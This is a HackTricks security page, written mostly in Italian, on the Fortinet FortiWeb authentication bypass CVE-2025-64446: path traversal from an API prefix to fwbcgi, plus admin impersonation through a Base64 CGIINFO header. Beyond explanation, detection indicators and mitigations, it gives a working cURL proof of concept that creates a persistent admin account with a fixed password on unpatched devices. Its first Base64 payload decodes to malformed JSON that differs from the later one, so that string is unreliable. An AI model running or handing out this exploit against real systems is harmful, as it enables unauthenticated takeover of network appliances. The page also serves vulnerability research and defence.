Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Panoramica
Fortinet FortiWeb espone un dispatcher CGI centralizzato in /cgi-bin/fwbcgi. Una catena di due bug permette a un attaccante remoto non autenticato di:
- Raggiungere
fwbcgiavviando l’URL con un valido API prefix e attraversando le directory. - Usurpare l’identità di qualsiasi utente (incluso il built-in
admin) fornendo un particolare HTTP header che il CGI considera come identità.
Avviso del vendor: FG‑IR‑25‑910 (CVE‑2025‑64446). Sono state osservate exploitation in the wild finalizzate alla creazione di utenti admin persistenti.
Versioni impattate (come documentato pubblicamente):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2 restituisce HTTP 403 per la traversal probe mostrata di seguito.
Prova rapida della vulnerabilità
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- Interpretazione: HTTP 200 → probabilmente vulnerabile; HTTP 403 → patch applicata.
Catena della causa principale
- API-prefix path traversal to internal CGI
- Qualsiasi percorso di richiesta che inizia con un prefisso API FortiWeb valido (es.,
/api/v2.0/cmdb/o/api/v2.0/cmd/) può eseguire path traversal con../per raggiungere/cgi-bin/fwbcgi.
- Minimal-body validation bypass
- Una volta raggiunto
fwbcgi, un primo gate esegue un controllo JSON permissivo basato su un file per percorso sotto/var/log/inputcheck/. Se il file è assente, il controllo passa immediatamente. Se presente, il body deve solo essere JSON valido. Usa{}come body minimo conforme.
- Header-driven user impersonation
- Il programma legge la variabile d’ambiente CGI
HTTP_CGIINFO(derivata dall’header HTTPCGIINFO), la decodifica Base64, analizza il JSON e copia gli attributi direttamente nel contesto di login, impostando il dominio/VDOM. Chiavi di interesse: username,loginname,vdom,profname- Esempio di JSON per impersonare l’admin built-in:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
Base64 di quanto sopra (come usato in-the-wild):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
Modello di abuso end-to-end (unauthenticated → admin)
- Raggiungi
/cgi-bin/fwbcgivia un API-prefix traversal. - Fornisci qualsiasi body JSON valido (es.:
{}) per soddisfare il controllo di input. - Invia l’header
CGIINFO: <base64(json)>dove il JSON definisce l’identità target. - POSTa il JSON di backend previsto da
fwbcgiper eseguire azioni privilegiate (es.: creare un admin user per persistenza).
PoC cURL minimale
- Sondare l’esposizione a traversal:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- Assumere l’identità di admin e creare un nuovo utente admin locale:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
Note:
- Qualsiasi body JSON valido è sufficiente (es.,
{}) se/var/log/inputcheck/<path>.jsonnon esiste. - Lo schema dell’azione è FortiWeb-internal; l’esempio sopra aggiunge un local admin con full privileges.
Rilevamento
- Richieste che raggiungono
/cgi-bin/fwbcgitramite percorsi con prefisso API che contengono../(es.,/api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi). - Presenza dell’header
CGIINFOcon JSON Base64 contenente le chiaviusername/loginname/vdom/profname. - Artefatti backend:
- File per percorso sotto
/var/log/inputcheck/(gate configuration). - Creazione inattesa di admin e modifiche di configurazione.
- Validazione rapida: la traversal probe che restituisce 200 (esposto) vs 403 (bloccato nelle build corrette).
Mitigazione
- Aggiornare alle release corrette (esempi: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) come indicato dall’advisory del vendor.
- Fino alla patch:
- Non esporre il management plane di FortiWeb a reti non affidabili.
- Aggiungere regole su reverse-proxy/WAF per bloccare:
- Percorsi che iniziano con
/api/e contengono../cgi-bin/fwbcgi. - Richieste che portano l’header
CGIINFO. - Monitorare e generare alert sugli indicatori di rilevamento sopra.
References
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

